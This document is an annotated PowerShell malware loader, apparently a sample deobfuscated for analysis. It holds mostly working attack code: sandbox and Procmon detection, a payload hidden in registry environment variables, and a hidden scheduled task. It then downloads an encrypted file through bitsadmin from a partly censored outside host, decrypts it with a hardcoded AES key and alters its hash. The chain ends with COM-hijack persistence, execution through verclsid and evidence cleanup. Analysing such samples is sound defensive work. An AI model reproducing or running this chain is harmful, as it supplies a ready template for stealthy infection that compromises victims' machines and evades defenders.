# ============================================================
# GLOBAL SETTINGS
# ============================================================
$ErrorActionPreference = "SilentlyContinue"
# → Suppresses all errors (stealth, avoids alerts/logs)
# ============================================================
# ANTI-ANALYSIS (SANDBOX / TOOLS DETECTION)
# ============================================================
$ser = Get-Service -Name "SbieSvc" -ErrorAction SilentlyContinue
if ($ser) { return }
# → Detects Sandboxie (common malware sandbox)
$proc = Get-Process -Name "Procmon64" -ErrorAction SilentlyContinue
if ($proc) { return }
# → Detects Process Monitor (used by analysts)
$path = "C:\Program Files\Sandboxie"
if (-Not (Test-Path $path)) {
# → Only continue if Sandboxie is NOT installed
# ============================================================
# RANDOMIZATION (ANTI-DETECTION)
# ============================================================
$d2 = ".dll"
$letras = "abcdefghijklmnopqrstuvwxyz"
$rnd = New-Object System.Random
function New-RandomString($len) {
$sb = New-Object System.Text.StringBuilder $len
for ($i = 0; $i -lt $len; $i++) {
$index = $rnd.Next(0, $letras.Length)
[void]$sb.Append($letras[$index])
}
return $sb.ToString()
}
$palabra1 = (New-RandomString 6) + $d2
$palabra2 = (New-RandomString 6) + $d2
# → Generates random DLL names (evasion)
$appDataLocal = [Environment]::GetFolderPath([Environment+SpecialFolder]::LocalApplicationData)
$subcarpetas = Get-ChildItem $appDataLocal -Directory | Select-Object -ExpandProperty FullName
function Get-RandomFolder {
do {
$p = $subcarpetas[$rnd.Next(0, $subcarpetas.Count)]
} while ($p.Contains(" ") -or $p.Contains("History"))
return $p
}
$folderPath = Get-RandomFolder
$folderPath2 = Get-RandomFolder
$folderPath3 = Get-RandomFolder
# → Chooses random folders in AppData\Local
# ============================================================
# REGISTRY CHECK (ANTI-REINFECTION)
# ============================================================
$rt2 = 'SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}'
$baseKey = [Microsoft.Win32.RegistryKey]::OpenBaseKey(
[Microsoft.Win32.RegistryHive]::CurrentUser,
[Microsoft.Win32.RegistryView]::Registry64
)
$text5 = [System.IO.Path]::Combine($folderPath2, $palabra1)
$key2 = $baseKey.OpenSubKey($rt2)
if ($key2 -ne $null) { return }
# → If already installed, exit
# ============================================================
# STAGE 2 PAYLOAD (OBFUSCATED)
# ============================================================
$UTEXT = "BASE64_ENCODED_POWERSHELL_PAYLOAD"
# → HUGE Base64 blob (UTF-16 PowerShell script)
# ============================================================
# STORE PAYLOAD IN REGISTRY (FILELESS TECHNIQUE)
# ============================================================
$envKey = 'HKCU:\Environment'
$myvar = 'MI_V'
$myvar2 = 'MI_V2'
if (Test-Path $envKey) {
Set-ItemProperty -Path $envKey -Name $myvar -Value $UTEXT -Type String
Set-ItemProperty -Path $envKey -Name $myvar2 -Value $text5 -Type String
}
# → Stores:
# MI_V = encoded script
# MI_V2 = output file path
# ============================================================
#

SCHEDULED TASK (DELAYED EXECUTION)
# ============================================================
$ups="update-systask"
$arg1 = "cmd.exe /c start '' /b powershell -NoProfile -WindowStyle Hidden -EncodedCommand %MI_V%";
# → Executes encoded payload later
$f1 = (Get-Date).AddDays(1)
$f1Str = $f1.ToString("dd/MM/yyyy")
$hStr = $f1.ToString("HH:mm")
$argts = "/create /f /sc once /st $hStr /sd $f1Str /tn `"$ups`" /tr `"$arg1`""
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = "schtasks"
$psi.Arguments = $argts
$psi.UseShellExecute = $false
$psi.CreateNoWindow = $true
$p5 = [System.Diagnostics.Process]::Start($psi)
$p5.WaitForExit()
# → Creates scheduled task (runs next day)
# ============================================================
# SECOND STAGE (DECODED FROM $UTEXT)
# ============================================================
# (This is what gets executed later)
# --- DOWNLOAD ENCRYPTED PAYLOAD ---
//i censored the website
bitsadmin.exe /transfer md https://mgz.great-s***.n**/zaesd.jpg 1.bak
# --- MOVE FILE ---
Copy-Item 1.bak → settings.dat
# ============================================================
# ENCRYPTED PAYLOAD HANDLING (CORE SECTION)
# ============================================================
$a = [System.Security.Cryptography.Aes]::Create()
$a.Key = [Text.Encoding]::UTF8.GetBytes("zbcd1j9234r670eh")
# Hardcoded AES key
$a.IV = $a.Key
# ⚠ IV = key
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC
$d = $a.CreateDecryptor()
$e = [IO.File]::ReadAllBytes($i)
# → Read encrypted .jpg
$ds = $d.TransformFinalBlock($e, 0, $e.Length)
# DECRYPT → malware binary
# ============================================================
# END OF ENCRYPTED SECTION
# ============================================================
# ============================================================
# ANTI-SIGNATURE MUTATION
# ============================================================
$ds[$ds.Length - 2] = random
$ds[$ds.Length - 1] = random
# → Changes hash each run
# ============================================================
# WRITE FINAL MALWARE
# ============================================================
[IO.File]::WriteAllBytes($o, $ds)
# → Drops decrypted payload (DLL)
# ============================================================
# PERSISTENCE (COM HIJACKING)
# ============================================================
HKCU:\SOFTWARE\Classes\CLSID\{GUID}\InprocServer32 → malicious DLL
# → Forces Windows to load attacker DLL
# ============================================================
# EXECUTION (LIVING-OFF-THE-LAND)
# ============================================================
verclsid.exe /S /C {GUID}
# → Executes DLL via trusted Windows binary
# ============================================================
# CLEANUP (ANTI-FORENSICS)
# ============================================================
Remove registry keys (MI_V, MI_V2)
Delete scheduled task
# → Removes evidence